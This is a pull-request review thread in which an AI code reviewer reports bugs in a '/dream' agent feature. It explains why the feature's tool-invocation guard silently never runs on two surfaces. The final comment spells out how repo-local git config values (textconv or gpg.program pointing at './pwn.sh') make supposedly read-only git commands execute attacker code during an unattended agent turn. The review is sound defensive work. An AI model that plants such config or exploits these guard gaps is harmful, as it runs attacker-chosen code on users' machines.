[Critical] onComplete fires for a turn that ended in an API error in JSON/STREAM_JSON output modes — a failed headless /dream is recorded as a completed manual dream, suppressing auto-dream for 24h. When the model call fails, turn.ts yields a GeminiEventType.Error event and the stream COMPLETES NORMALLY (no throw); only TEXT mode converts that event into a throw, and the JSON adapters merely append the error text. — Failure scenario: qwen -p "/dream" --output-format stream-json: the loop sees zero tool requests → shouldFinalizeTurn → runFullTurnOnComplete() → dreamCommand's recordDream → writeDreamManualRunToMetadata stamps lastDreamAt and clears recentSessionIdsSinceDream even though the turn wrote nothing. Per dream.ts's own contract ('after the main agent turn finishes writing memory files') and the scheduler's same-session/min-hours dedupe, the failed dream then suppresses the auto-dream that should have run. Probe-verified: STREAM_JSON + a single Error event → onCompleteCalls=1, exit 0; the flip fix restores 0. The new negative test only mocks a synchronous throw — the TEXT-mode shape — so this ships green.
Suggested fix: track API-error events in the turn loop (e.g. set a flag on GeminiEventType.Error) and skip runFullTurnOnComplete() when the finalizing turn saw one; add a negative test whose stream yields an Error event under STREAM_JSON output and asserts onComplete is not called.
中文说明
在 JSON/STREAM_JSON 输出模式下，以 API 错误结束的回合也会触发 onComplete —— 失败的无头 /dream 会被记录为已完成的手动 dream，从而在 24 小时内抑制自动 dream。当模型调用失败时，turn.ts 产出一个 GeminiEventType.Error 事件且流正常完成（不抛异常）；只有 TEXT 模式会把该事件转为抛异常，JSON 适配器只是附加错误文本。 — 失败场景：qwen -p "/dream" --output-format stream-json：循环看到零个工具请求 → shouldFinalizeTurn → runFullTurnOnComplete() → dreamCommand 的 recordDream → writeDreamManualRunToMetadata 盖上 lastDreamAt 并清空 recentSessionIdsSinceDream，尽管该回合什么都没写。按 dream.ts 自身的契约（『在主 agent 回合完成记忆文件写入之后』）以及调度器的同会话/最小间隔去重，失败的 dream 会抑制本应运行的自动 dream。已探针验证：STREAM_JSON + 单个 Error 事件 → onCompleteCalls=1，退出码 0；翻转修复后恢复为 0。新的负向测试只 mock 了同步抛异常 —— 即 TEXT 模式形态 —— 因此该缺陷会通过 CI。 建议修复：在回合循环中跟踪 API 错误事件（例如在 GeminiEventType.Error 时置一个标志），当收尾回合出现过该事件时跳过 runFullTurnOnComplete()；并新增一个负向测试：流在 STREAM_JSON 输出下产出 Error 事件，断言 onComplete 未被调用。
— qwen3.8-max via Qwen Code /review (v0.21.11)
| } | ||
|
|
||
| initialPartList = recoveryPlan.continuation.parts; | ||
| fullTurnToolInvocationGuard = recoverManualDreamToolInvocationGuard( |
There was a problem hiding this comment.
[Suggestion] An interrupted-then-continued /dream turn recovers the tool-invocation guard but not the command's onComplete callback, so a completed resumed manual dream never records itself. — Failure scenario: a headless /dream run is interrupted mid-turn and resumed via the continuation path; the guard is reconstructed from the history marker and the consolidation finishes, but runFullTurnOnComplete() is a no-op because fullTurnOnComplete is never restored here (unlike the submit_prompt path at ~line 1140). writeDreamManualRun never runs, leaving lastDreamAt stale and recentSessionIdsSinceDream un-reset, so the scheduler's same-session dedupe cannot prevent a redundant auto-dream from firing in the same session.
Suggested fix: when the guard is recovered, also restore the recording callback, e.g. if (fullTurnToolInvocationGuard) { fullTurnOnComplete = () => config.getMemoryManager().writeDreamManualRun(config.getProjectRoot(), config.getSessionId()); } — or deliberately document the asymmetry.
中文说明
被中断后继续的 /dream 回合会恢复工具调用守卫，但不恢复命令的 onComplete 回调，因此完成后的续跑手动 dream 从不记录自身。 — 失败场景：无头 /dream 运行在回合中途被中断并经由续轮路径恢复；守卫从历史标记重建、整合完成，但 runFullTurnOnComplete() 是空操作，因为此处从未恢复 fullTurnOnComplete（与约 1140 行的 submit_prompt 路径不同）。writeDreamManualRun 从不运行，lastDreamAt 保持陈旧、recentSessionIdsSinceDream 不被重置，调度器的同会话去重无法阻止同一会话内再次触发冗余的自动 dream。 建议修复：在恢复守卫时同时恢复记录回调，例如 if (fullTurnToolInvocationGuard) { fullTurnOnComplete = () => config.getMemoryManager().writeDreamManualRun(config.getProjectRoot(), config.getSessionId()); } —— 或明确记录这种不对称是有意为之。
— qwen3.8-max via Qwen Code /review (v0.21.11)
| ); | ||
| }); | ||
|
|
||
| it('retains a guard when a duplicate-only outer turn nests a tool continuation', async () => { |
There was a problem hiding this comment.
[Suggestion] Guard retention through duplicate-dedup nesting is only pinned for the immediate duplicate-only path (nested submitQuery at useGeminiStream.ts:3746); the deferred mixed-batch duplicate path (pendingDuplicateToolResponsesRef → handleCompletedTools → submitQuery at useGeminiStream.ts:4864) has zero guard coverage. — Failure scenario: a /dream batch with one repeated provider-call id plus one fresh call routes duplicate responses through the deferred path, whose promptId is assembled from pendingDuplicatePromptId/terminalPromptId fallbacks (4394-4409). Current behavior is correct (the captured prompt id is passed today), but a future change misrouting or dropping promptId there makes the guard lookup resolve undefined silently, and the dream continuation's tools schedule unguarded while all four guard tests stay green (the pre-existing duplicate tests predate the guard).
Suggested fix: add a variant of the duplicate-nesting test whose first batch contains one duplicate request plus one executable request; drive the executable's completion through the scheduler-completion path and assert the deferred continuation's scheduleToolCalls call still receives toolInvocationGuard as its fourth argument.
中文说明
重复去重嵌套中的守卫保持只为 immediate 纯重复路径（useGeminiStream.ts:3746 的嵌套 submitQuery）所固化；延迟的混合批次重复路径（pendingDuplicateToolResponsesRef → handleCompletedTools → useGeminiStream.ts:4864 的 submitQuery）的守卫覆盖为零。 — 失败场景：一个含重复 provider 调用 id 加一个新调用的 /dream 批次会把重复响应走延迟路径，其 promptId 由 pendingDuplicatePromptId/terminalPromptId 回退拼装（4394-4409）。当前行为正确（今天会传入捕获的 prompt id），但未来若在该处错路由或丢弃 promptId，守卫查找会静默解析为 undefined，dream 续轮的工具将在无守卫情况下被调度，而四个守卫测试全部保持绿色（既有的重复测试早于守卫引入）。 建议修复：新增一个重复嵌套测试变体：首批包含一个重复请求加一个可执行请求；让可执行项的完成走调度器完成路径，断言延迟续轮的 scheduleToolCalls 调用仍以第四个参数收到 toolInvocationGuard。
— qwen3.8-max via Qwen Code /review (v0.21.11)
| ); | ||
| }); | ||
|
|
||
| it('keeps queued teammate input out of a Goal segment and clears the prior guard', async () => { |
There was a problem hiding this comment.
[Suggestion] The sibling guard clear on the shouldFinalizeTurn → Goal-continuation path (nonInteractiveCli.ts ~2546, 'Clear before any Goal/teammate continuation can loop back through') is pinned by no test — mutation probe: deleting it leaves all 135 tests green. — Failure scenario: probe-verified: with the clear deleted, qwen -p '/dream' with an active Goal where the model replies with no tool calls reaches shouldFinalizeTurn with the guard still set; finishGoalTurn dequeues the next Goal segment and its tools are dispatched through processToolCallBatch with the expired dream guard still attached — spuriously denying an unrelated Goal turn's tools. Test 5 cannot catch it (its clear happens earlier, in the terminateTurn branch); the drain path never passes the guard.
Suggested fix: add a variant of this Goal test where the guarded turn ends with a tool-call-free response, the mocked finishTurn schedules a continuation, and the next Goal segment's executeToolCall is asserted to receive expect.not.objectContaining({ toolInvocationGuard: expect.anything() }).
中文说明
shouldFinalizeTurn → Goal 续轮路径上的姊妹守卫清空（nonInteractiveCli.ts 约 2546 行，『在任何 Goal/teammate 续轮回环到共享工具批次调用点之前清空』）没有任何测试固化 —— 变异探针：删除它后全部 135 个测试保持绿色。 — 失败场景：已探针验证：删除该清空后，带活跃 Goal 的 qwen -p '/dream' 在模型以无工具调用响应时到达 shouldFinalizeTurn 时守卫仍在；finishGoalTurn 出队下一个 Goal 片段，其工具经由 processToolCallBatch 被分发时仍附着已过期的 dream 守卫 —— 错误地拒绝一个无关 Goal 回合的工具。测试 5 抓不到它（它的清空发生在更早的 terminateTurn 分支）；drain 路径从不传守卫。 建议修复：新增该 Goal 测试的变体：受守卫回合以无工具调用的响应结束，mock 的 finishTurn 调度一个续轮，断言下一个 Goal 片段的 executeToolCall 收到 expect.not.objectContaining({ toolInvocationGuard: expect.anything() })。
— qwen3.8-max via Qwen Code /review (v0.21.11)
| }; | ||
|
|
||
| let currentPromptId = prompt_id; | ||
| const deferQueuedTeammateTurn = () => { |
There was a problem hiding this comment.
[Suggestion] The deferral path resets the loop detector when a teammate message ARRIVES, but the message is withheld from the model until the guarded chain finalizes — repeated arrivals keep wiping loop-detection state mid-chain without any fresh input reaching the model. — Failure scenario: a headless leader runs a guarded /dream turn while teammates send periodic status messages; the model loops on identical read-only tool calls (allowed by the dream guard). Each arrival sets teammateLoopResetPending; each loop-top with mustDeferTeammateTurn true calls deferQueuedTeammateTurn() → LoopDetectionService.reset(currentPromptId), which clears globalToolCallCounts, recentToolCalls, streak counters, loopDetected, and the per-turn adaptive cap. LoopDetected never fires for the genuinely looping chain; with maxSessionTurns defaulting to -1 (unlimited) the run burns model calls until the caps the resets keep restarting. Pre-PR the reset happened client-side on the Teammate send — reset and delivery moved together; the deferral decouples them. The drain branch's delivery-time reset already covers the documented rationale.
Suggested fix: drop the reset from deferQueuedTeammateTurn and let the delivery-time resets stand (the drain branch resets when teammateLoopResetPending is still set, and the Teammate send resets client-side anyway); if mid-chain protection is wanted, apply it only after the deferred text has actually been delivered.
中文说明
延迟路径在 teammate 消息到达时就重置循环检测器，但该消息在受守卫的链收尾之前不会送达模型 —— 重复到达会在链中途不断抹掉循环检测状态，而没有任何新输入到达模型。 — 失败场景：无头 leader 在 teammates 周期性发送状态消息时运行受守卫的 /dream 回合；模型在相同的只读工具调用上循环（dream 守卫放行）。每次到达设置 teammateLoopResetPending；每个 mustDeferTeammateTurn 为 true 的循环顶部调用 deferQueuedTeammateTurn() → LoopDetectionService.reset(currentPromptId)，清空 globalToolCallCounts、recentToolCalls、连击计数器、loopDetected 以及每回合自适应上限。真正循环的链永远不会触发 LoopDetected；maxSessionTurns 默认 -1（无上限）时，运行会一直烧模型调用，直到被重置反复重启的上限拦住。PR 之前重置发生在客户端的 Teammate 发送时 —— 重置与投递同步；延迟把两者解耦了。drain 分支的投递时重置已覆盖其书面理由。 建议修复：从 deferQueuedTeammateTurn 中移除重置，保留投递时重置（teammateLoopResetPending 仍有值时 drain 分支会重置，且 Teammate 发送本就会在客户端重置）；若确实想要链中途保护，只在延迟文本实际投递之后施加。
— qwen3.8-max via Qwen Code /review (v0.21.11)
| }); | ||
|
|
||
| it('adds plan mode reminders to an interrupted prompt replay', async () => { | ||
| it('reconstructs the /dream tool guard for an interrupted continuation', async () => { |
There was a problem hiding this comment.
[Suggestion] The only CLI-level test of interrupted-continuation guard recovery exercises just the retry_user_parts mode (history = single trailing user entry); the tool_result_parts mode (a Dream interrupted mid-tool-execution — synthesized functionResponse parts carrying no marker) is never verified to receive the recovered guard at the runNonInteractive level. — Failure scenario: the policy function itself is unit-pinned for the tool-result chain (dreamCommand.test.ts), but the CLI wiring is not: a refactor that moves the recoverManualDreamToolInvocationGuard call inside the retry_user_parts branch (or gates it on continuation.mode) ships green in this file — production is NOT mode-gated today (the call runs unconditionally before the mode branch at nonInteractiveCli.ts:1099-1107), but a /dream turn interrupted during tool execution — the common case for a multi-tool Dream — would then resume with unrestricted write reach.
Suggested fix: add a variant whose history is [user(marker, prompt), model(functionCall)] (dangling call), asserting SendMessageType.ToolResult is sent and executeToolCall still receives a guard that denies ToolNames.AGENT.
中文说明
中断续轮守卫恢复在 CLI 层面的唯一测试只演练了 retry_user_parts 模式（历史 = 单个末尾 user 条目）；tool_result_parts 模式（Dream 在工具执行中途被中断 —— 合成的不带标记的 functionResponse parts）从未在 runNonInteractive 层面被验证会收到恢复的守卫。 — 失败场景：策略函数本身的工具结果链已有单测固化（dreamCommand.test.ts），但 CLI 穿线没有：若重构把 recoverManualDreamToolInvocationGuard 调用移进 retry_user_parts 分支（或以 continuation.mode 门控），在本文件中绿色通过 —— 当前生产代码没有按模式门控（该调用在 nonInteractiveCli.ts:1099-1107 的模式分支之前无条件运行），但一个在工具执行期间被中断的 /dream 回合 —— 多工具 Dream 的常见情形 —— 届时会在写权限不受限的情况下续跑。 建议修复：新增一个变体：历史为 [user(marker, prompt), model(functionCall)]（悬空调用），断言发送 SendMessageType.ToolResult 且 executeToolCall 仍收到拒绝 ToolNames.AGENT 的守卫。
— qwen3.8-max via Qwen Code /review (v0.21.11)
| expect(processStdoutSpy).toHaveBeenCalledWith('Response from command\n'); | ||
| }); | ||
|
|
||
| it('runs a slash-command onComplete callback after a successful headless turn', async () => { |
There was a problem hiding this comment.
[Suggestion] Both new onComplete tests use an immediately-resolving callback and a call-count assertion, so they cannot detect a regression from awaited to fire-and-forget invocation — the await in runFullTurnOnComplete is the only guarantee the callback finishes before process exit. — Failure scenario: if a future refactor drops the await (void runFullTurnOnComplete()), vi.fn() still records the call synchronously, so both tests stay green. In production the real callback does async disk I/O (writeDreamManualRunToMetadata → atomicWriteFile); in the exact shape test 1 exercises (finalize, no teammates/notifications/cron), runNonInteractive returns and the CLI process exits immediately after — an un-awaited callback's write can be cut off mid-flight, silently losing the dream metadata update.
Suggested fix: make the happy-path test's onComplete pend on a test-held gate and assert runNonInteractive does not settle until the gate's completion is observed — pinning await-ordering, not just call occurrence.
中文说明
两个新的 onComplete 测试都使用立即完成的回调和调用次数断言，因此无法检测从 await 到发射即忘的回归 —— runFullTurnOnComplete 中的 await 是回调在进程退出前完成的唯一保证。 — 失败场景：若未来重构去掉 await（void runFullTurnOnComplete()），vi.fn() 仍会同步记录调用，两个测试保持绿色。生产中真实回调执行异步磁盘 I/O（writeDreamManualRunToMetadata → atomicWriteFile）；在测试 1 演练的确切形态下（收尾、无 teammates/通知/cron），runNonInteractive 返回后 CLI 进程立即退出 —— 未被 await 的回调写入可能被中途截断，静默丢失 dream 元数据更新。 建议修复：让正向测试的 onComplete 挂起在测试持有的门闩上，断言 runNonInteractive 在门闩完成被观察到之前不会落定 —— 固化 await 顺序，而不只是调用发生。
— qwen3.8-max via Qwen Code /review (v0.21.11)
qwen-code-ci-bot
left a comment
qwen-code-ci-bot
left a comment
There was a problem hiding this comment.
Partially reviewed — gaps disclosed.
Not reviewed: build-and-test — Integration Tests (CLI, No Sandbox) was skipped in CI and its suite did not run locally.
Not reviewed: test-efficacy — probe harness could not be validated (16 inconclusive probes, harnessValidated: null; mutants and hunk probes did not run).
Test Plan (not a blocker): src/core/tool-invocation-guard.test.ts — no such file or directory; src/core/coreToolScheduler.test.ts — no such file or directory; src/core/nonInteractiveToolExecutor.test.ts — no such file or directory; src/memory/dreamAgentPlanner.test.ts — no such file or directory; src/memory/memory-scoped-agent-config.test.ts — no such file or directory; and 10 more.
Deferred under the convergence posture (round 6, not a blocker) — recorded, not requested in this round:
packages/cli/src/ui/hooks/slashCommandProcessor.test.ts:3386 — [review] SlashCommandProcessorResult referenced but never imported — latent TS2304 behind the tsconfig exclusion (re-check of prior R4-6, still stands, already on the PR)packages/cli/src/ui/hooks/useGeminiStream.ts:3330 — [review] onToolContinuationScheduled is a dead switch — declared and invoked but never passed by any caller (carried R4-11, still stands, already on the PR)packages/cli/src/nonInteractiveCli.ts:1115 — [review] Interrupted-resumed headless /dream recovers the guard but loses the onComplete recording — completed resumed dream unrecorded (carried R5-5, still stands, already on the PR)
中文说明
仅完成部分审查，审查缺口已披露。
未审查：build-and-test — Integration Tests (CLI, No Sandbox) was skipped in CI and its suite did not run locally。
未审查：test-efficacy — probe harness could not be validated (16 inconclusive probes, harnessValidated: null; mutants and hunk probes did not run)。
Test Plan（非阻断）：src/core/tool-invocation-guard.test.ts — no such file or directory; src/core/coreToolScheduler.test.ts — no such file or directory; src/core/nonInteractiveToolExecutor.test.ts — no such file or directory; src/memory/dreamAgentPlanner.test.ts — no such file or directory; src/memory/memory-scoped-agent-config.test.ts — no such file or directory; and 10 more。
收敛姿态下延后（第 6 轮，非阻断）——已记录，本轮不要求修改：共 3 条（原文未翻译，列表见上方英文部分）。
— qwen3.8-max via Qwen Code /review (v0.21.15)
| for (const item of Array.isArray(request) ? request : [request]) { | ||
| if (toolInvocationGuard) { | ||
| this.requestToolInvocationGuards.set(item, toolInvocationGuard); |
There was a problem hiding this comment.
[Critical] The per-schedule turn guard is keyed in a WeakMap by the caller's request objects here, but _schedule's intake clone (requestsToProcess = dedupeRequestsByCallId(...).map((item) => ({ ...item, args: structuredClone(item.args) })) at :2398-2400, merged into this branch from main) replaces every request object before execution. Every toolCalls[].request is the clone, so the execution-time lookup this.requestToolInvocationGuards.get(scheduledCall.request) at :4659-4661 always misses and the /dream turn guard is silently never evaluated. The setArgsInternal re-keying this PR adds reads the same clone, so it is equally dead. Only the ACP surface works — Session.runToolCalls evaluates guards inline and bypasses this WeakMap. The result: the PR's central protection (pinned-memory denial, read-only shell, tool allowlist) is inert on the TUI and headless surfaces.
Observed at this commit — the PR's own new tests fail because the guard spy is never called:
packages/core coreToolScheduler.test.ts: 4 failed | 372 passed
turnGuard spy: Number of calls: 0 (all four new guard tests)
nonInteractiveToolExecutor.test.ts: 'applies a direct-call invocation guard before execution'
guard calls: 0
test-delta: both files fail on the PR side only (pass on the merge base)
Suggested fix: key the guard on the objects that actually reach execution — after building requestsToProcess, move each WeakMap entry from the original to its clone, or key by callId instead of object identity. The existing setArgsInternal re-keying then chains correctly, and the five failing tests become the regression gate (together with the matcher fixes noted on those tests).
中文说明
按调度（回合级 /dream）守卫在这里以调用方的 request 对象为键存入 WeakMap，但 _schedule 的入口克隆（:2398-2400 的 requestsToProcess = dedupeRequestsByCallId(...).map((item) => ({ ...item, args: structuredClone(item.args) }))，由 main 合入本分支）会在执行前替换掉每一个 request 对象。所有 toolCalls[].request 都是克隆体，因此执行期的查找 this.requestToolInvocationGuards.get(scheduledCall.request)（:4659-4661）必然落空，/dream 回合守卫被静默跳过、从不生效。本 PR 新增的 setArgsInternal 重新键入读取的也是同一个克隆，同样失效。只有 ACP 面不受影响——Session.runToolCalls 内联评估守卫，不经过这个 WeakMap。结果：本 PR 的核心保护（拒绝写 pinned memory、shell 只读、工具白名单）在 TUI 与无头（headless）两个面上完全失效。
在本提交上实测——PR 自己新增的测试失败，守卫 spy 从未被调用：
packages/core coreToolScheduler.test.ts: 4 failed | 372 passed
turnGuard spy: Number of calls: 0（全部 4 个新守卫测试）
nonInteractiveToolExecutor.test.ts: 'applies a direct-call invocation guard before execution'
guard 调用次数: 0
test-delta: 两个文件仅在 PR 侧失败（合并基线上通过）
建议修复：把守卫键入真正抵达执行的对象——在构造 requestsToProcess 之后，把每个 WeakMap 条目从原对象迁移到其克隆上，或改用 callId 而非对象标识作键。这样现有的 setArgsInternal 重键逻辑即可正常衔接，上述 5 个失败测试（连同测试侧的 matcher 修复）即可成为回归防线。
— qwen3.8-max via Qwen Code /review (v0.21.15)
| const expectedInvocation = { | ||
| callId: 'composed-guard', | ||
| toolName: ToolNames.SHELL, |
There was a problem hiding this comment.
[Critical] Pattern (4 locations): the guard-invocation assertions this PR adds use strict toHaveBeenCalledWith object literals that omit sessionId and cwd — two properties the scheduler unconditionally includes in every guard context (coreToolScheduler.ts:4670-4672, no conditional spread). Even after the WeakMap keying is fixed, these matchers reject the received context and the suite stays red, making a correct wiring fix look broken. Locations: this test ('composes host and per-schedule guards', expects callId: 'composed-guard'), the matchers at :10373 (callId: 'guarded-rewrite') and :10406 (callId: 'turn-guarded'), and nonInteractiveToolExecutor.test.ts:148 — the last also needs getTargetDir added to its mockConfig, because without it the context build throws a TypeError (converted to UNHANDLED_EXCEPTION) before any guard runs.
Observed at this commit with a minimal keying fix applied in a scratch tree:
'keeps a per-schedule guard after PermissionRequest rewrites args' and
'applies an additional guard to one schedule without leaking it':
flip from `Number of calls: 0` to matcher diff
+ "cwd": "/workspace"
+ "sessionId": "plan-shell-session"
nonInteractiveToolExecutor.test.ts: UNHANDLED_EXCEPTION (guard calls 0)
until getTargetDir is added to mockConfig, then the same two extras
'keeps queued guards isolated when a request object is reused' flips green
(asserts only invocationContext values)
Suggested fix: add sessionId: 'plan-shell-session', cwd: '/workspace' to the three matcher literals in this file (both values are already supplied via buildPlanShellScheduler), and in nonInteractiveToolExecutor.test.ts add getTargetDir to mockConfig and extend the expectation (or use expect.objectContaining).
中文说明
模式（共 4 处）：本 PR 新增的守卫调用断言使用了严格的 toHaveBeenCalledWith 对象字面量，但遗漏了 sessionId 与 cwd —— 调度器在每次守卫上下文中都会无条件附带这两个属性（coreToolScheduler.ts:4670-4672，无条件展开）。即便 WeakMap 键入问题被修复，这些 matcher 仍会因收到多余属性而拒绝，套件依旧飘红，使一次正确的接线修复看起来像坏掉了。涉及位置：本测试（'composes host and per-schedule guards'，期望 callId: 'composed-guard'）、:10373（callId: 'guarded-rewrite'）与 :10406（callId: 'turn-guarded'）的 matcher，以及 nonInteractiveToolExecutor.test.ts:148 —— 最后一处还需在 mockConfig 中补上 getTargetDir，否则上下文构造会在任何守卫运行之前抛出 TypeError（被转为 UNHANDLED_EXCEPTION）。
在本提交上、于临时树中施加最小键入修复后实测：
'keeps a per-schedule guard after PermissionRequest rewrites args' 与
'applies an additional guard to one schedule without leaking it'：
从 `Number of calls: 0` 翻转为 matcher 差异
+ "cwd": "/workspace"
+ "sessionId": "plan-shell-session"
nonInteractiveToolExecutor.test.ts: UNHANDLED_EXCEPTION（guard 调用 0 次），
补上 getTargetDir 后出现同样的两个多余属性
'keeps queued guards isolated when a request object is reused' 变绿
（只断言 invocationContext 的值）
建议修复：在本文件三处 matcher 字面量中补上 sessionId: 'plan-shell-session', cwd: '/workspace'（两个值都已由 buildPlanShellScheduler 提供）；在 nonInteractiveToolExecutor.test.ts 中为 mockConfig 补上 getTargetDir，并补全期望值（或改用 expect.objectContaining）。
— qwen3.8-max via Qwen Code /review (v0.21.15)
| expect(turnGuard).toHaveBeenCalledWith({ | ||
| callId: 'guarded-rewrite', | ||
| toolName: ToolNames.SHELL, | ||
| args: { command: 'echo rewritten' }, | ||
| signal: expect.any(AbortSignal), | ||
| }); |
There was a problem hiding this comment.
[Critical] Same pattern as the anchored 'composes host and per-schedule guards' test: this strict matcher omits the sessionId and cwd properties the scheduler unconditionally includes in the guard context. After the WeakMap keying fix, the received context carries "cwd": "/workspace" and "sessionId": "plan-shell-session" (both supplied by this test via buildPlanShellScheduler and targetDir), and toHaveBeenCalledWith rejects them — the suite stays red. Add sessionId: 'plan-shell-session', cwd: '/workspace' to the literal.
Witness (scratch tree with the minimal keying fix): this test flips from Number of calls: 0 to a matcher diff of exactly those two extra properties.
中文说明
与 'composes host and per-schedule guards' 测试同一模式：这个严格 matcher 遗漏了调度器无条件附带的 sessionId 与 cwd。WeakMap 键入修复之后，收到的上下文会携带 "cwd": "/workspace" 与 "sessionId": "plan-shell-session"（两者都由本测试通过 buildPlanShellScheduler 与 targetDir 提供），toHaveBeenCalledWith 会拒绝这两个多余属性——套件依旧飘红。请在字面量中补上 sessionId: 'plan-shell-session', cwd: '/workspace'。
证据（临时树中施加最小键入修复）：本测试从 Number of calls: 0 翻转为恰好这两个多余属性的 matcher 差异。
— qwen3.8-max via Qwen Code /review (v0.21.15)
| expect(turnGuard).toHaveBeenCalledWith({ | ||
| callId: 'turn-guarded', | ||
| toolName: ToolNames.SHELL, |
There was a problem hiding this comment.
[Critical] Same pattern as the sibling guard tests in this hunk: this strict matcher omits the sessionId and cwd properties the scheduler unconditionally includes in the guard context. After the WeakMap keying fix, the received context carries "cwd": "/workspace" and "sessionId": "plan-shell-session" (both supplied by this test), and toHaveBeenCalledWith rejects them — the suite stays red. Add sessionId: 'plan-shell-session', cwd: '/workspace' to the literal.
Witness (scratch tree with the minimal keying fix): this test flips from Number of calls: 0 to a matcher diff of exactly those two extra properties; the queued-isolation sibling test flips green.
中文说明
与同一 hunk 中的兄弟守卫测试同一模式：这个严格 matcher 遗漏了调度器无条件附带的 sessionId 与 cwd。WeakMap 键入修复之后，收到的上下文会携带 "cwd": "/workspace" 与 "sessionId": "plan-shell-session"（两者都由本测试提供），toHaveBeenCalledWith 会拒绝——套件依旧飘红。请在字面量中补上 sessionId: 'plan-shell-session', cwd: '/workspace'。
证据（临时树中施加最小键入修复）：本测试从 Number of calls: 0 翻转为恰好这两个多余属性的 matcher 差异；queued-isolation 兄弟测试变绿。
— qwen3.8-max via Qwen Code /review (v0.21.15)
| expect(toolInvocationGuard).toHaveBeenCalledWith({ | ||
| callId: request.callId, | ||
| toolName: request.name, | ||
| args: request.args, | ||
| signal: abortController.signal, | ||
| }); |
There was a problem hiding this comment.
[Critical] This direct-call guard test cannot pass even after the scheduler WeakMap keying is fixed — two layers, both verified by run. First: this file's mockConfig defines getSessionId but not getTargetDir, while the guard block builds its context with cwd: this.config.getTargetDir() unconditionally (coreToolScheduler.ts:4670) — a TypeError thrown before the guard is invoked, converted by executeSingleToolCall's catch into UNHANDLED_EXCEPTION instead of the expected EXECUTION_DENIED. Second: even with getTargetDir added, this strict matcher omits the sessionId and cwd properties the context always carries, so toHaveBeenCalledWith still rejects.
Observed at this commit:
HEAD: 'applies a direct-call invocation guard before execution' fails,
guard spy Number of calls: 0
after keying fix only: still red — response.errorType === UNHANDLED_EXCEPTION,
guard calls 0
after also adding getTargetDir: red with matcher diff
+ "cwd": "/test-target-dir"
+ "sessionId": "test-session-id"
Net effect: a correct keying fix looks broken until this test is repaired. Suggested fix: add getTargetDir: () => '/test-target-dir' to mockConfig, and extend the expectation with sessionId/cwd (or use expect.objectContaining).
中文说明
即使调度器 WeakMap 键入被修复，这个直连守卫测试也无法通过——两层问题，均已实测验证。第一：本文件的 mockConfig 定义了 getSessionId 但没有 getTargetDir，而守卫块在构造上下文时会无条件调用 cwd: this.config.getTargetDir()（coreToolScheduler.ts:4670）——TypeError 在守卫被调用之前抛出，被 executeSingleToolCall 的 catch 转为 UNHANDLED_EXCEPTION，而不是期望的 EXECUTION_DENIED。第二：即便补上 getTargetDir，这个严格 matcher 仍遗漏上下文必然携带的 sessionId 与 cwd，toHaveBeenCalledWith 依然拒绝。
在本提交上实测：
HEAD：'applies a direct-call invocation guard before execution' 失败，
guard spy Number of calls: 0
仅施加键入修复后：仍红 —— response.errorType === UNHANDLED_EXCEPTION，
guard 调用 0 次
再补上 getTargetDir 后：红，matcher 差异为
+ "cwd": "/test-target-dir"
+ "sessionId": "test-session-id"
净效果：在修好这个测试之前，一次正确的键入修复看起来像坏掉了。建议修复：为 mockConfig 补上 getTargetDir: () => '/test-target-dir'，并在期望中补全 sessionId/cwd（或改用 expect.objectContaining）。
— qwen3.8-max via Qwen Code /review (v0.21.15)
| return ( | ||
| (usesDiffOutput && (risk.diffExternal || risk.diffTextconv)) || | ||
| (usesFsmonitor && risk.fsmonitor) | ||
| ); |
There was a problem hiding this comment.
[Critical] Class-level finding — the repo-local-git-config code-execution surface is unbounded; close it structurally (fail-closed) rather than entrance by entrance. This gate and the config probe at git-config-safety.ts:44 are the two halves. Demonstrated entrances at this commit, all probe-verified against real git 2.43: (1) classifier side — git blame applies textconv but is only tracked under the fsmonitor branch here, and logShowsPatch matches only -p/-u/--patch, so git log --patch-with-stat / --patch-with-raw slip through; (2) probe side — getLocalGitConfigRisk greps only ^diff\.external$|^diff\..*\.textconv$|^core\.fsmonitor$, missing gpg.program and its trigger log.showSignature, so plain flagless git log executes a repo-local program while risk reports all-false. Prior-round blockers on textconv probing and the fsmonitor blame/grep set are fixed as stated; this carries the residual class.
Failure scenario: a planted or freshly cloned repo the model inspects during an unattended /dream turn — .git/config with diff.evil.textconv = ./pwn.sh plus .gitattributes f.txt diff=evil, or log.showSignature=true plus gpg.program=./pwn.sh with one signed commit. The dream guard allows the command and attacker-chosen code runs.
Witness (real git 2.43 probes at this commit):
textconv-configured repo — marker file created by:
git blame f.txt (classifier: read-only = true)
git log --patch-with-stat -1 (classifier: read-only = true)
git log --patch-with-raw -1 (classifier: read-only = true)
controls git log --oneline / git status: no execution
gpg-configured repo — plain `git log` executed ./pwn.sh while
getLocalGitConfigRisk = {diffExternal:false, diffTextconv:false, fsmonitor:false}
flip arms (blame + patch flags in the gate; gpg.program/showsignature in the
probe) close every demonstrated entrance
Suggested fix: close the class, not the entrances — when risk.diffExternal || risk.diffTextconv, treat diff/show/log/blame as diff-machinery-capable unconditionally and delete the flag enumeration; extend the probe to the remaining program-valued keys (gpg.program family, log.showsignature); or neutralize repo-local config for the dream turn's git invocations. Add regression tests for textconv+blame, log --patch-with-stat, and gpg.program.
中文说明
类级发现——仓库本地 git 配置的代码执行面是无界的；应从结构上关闭（失败即拒绝），而不是逐个入口封堵。本门与 git-config-safety.ts:44 的配置探针是其两半。在本提交上实证入口如下，均用真实 git 2.43 探针验证：（1）分类器侧——git blame 会应用 textconv，但在这里只归入 fsmonitor 分支；logShowsPatch 只匹配 -p/-u/--patch，因此 git log --patch-with-stat / --patch-with-raw 漏过；（2）探针侧——getLocalGitConfigRisk 只 grep ^diff\.external$|^diff\..*\.textconv$|^core\.fsmonitor$，遗漏 gpg.program 及其触发项 log.showSignature，因此不带任何标志的 git log 会执行仓库本地程序而风险报告全为 false。此前关于 textconv 探针与 fsmonitor blame/grep 集合的阻断项已按描述修复；本条承接残余的类。
失败场景：无人值守 /dream 回合中模型检视的被植入（或刚克隆）仓库——.git/config 含 diff.evil.textconv = ./pwn.sh 加 .gitattributes f.txt diff=evil，或 log.showSignature=true 加 gpg.program=./pwn.sh 且有一个带签名提交。dream 守卫放行该命令，攻击者选定的代码得以执行。
证据（在本提交上用真实 git 2.43 探针）：
配置 textconv 的仓库——以下命令触发了标记文件：
git blame f.txt （分类器：read-only = true）
git log --patch-with-stat -1 （分类器：read-only = true）
git log --patch-with-raw -1 （分类器：read-only = true）
对照 git log --oneline / git status：无执行
配置 gpg 的仓库——纯 `git log` 执行了 ./pwn.sh，而
getLocalGitConfigRisk = {diffExternal:false, diffTextconv:false, fsmonitor:false}
翻转修复（门中加入 blame + 补丁标志；探针加入 gpg.program/showsignature）
可关闭全部实证入口
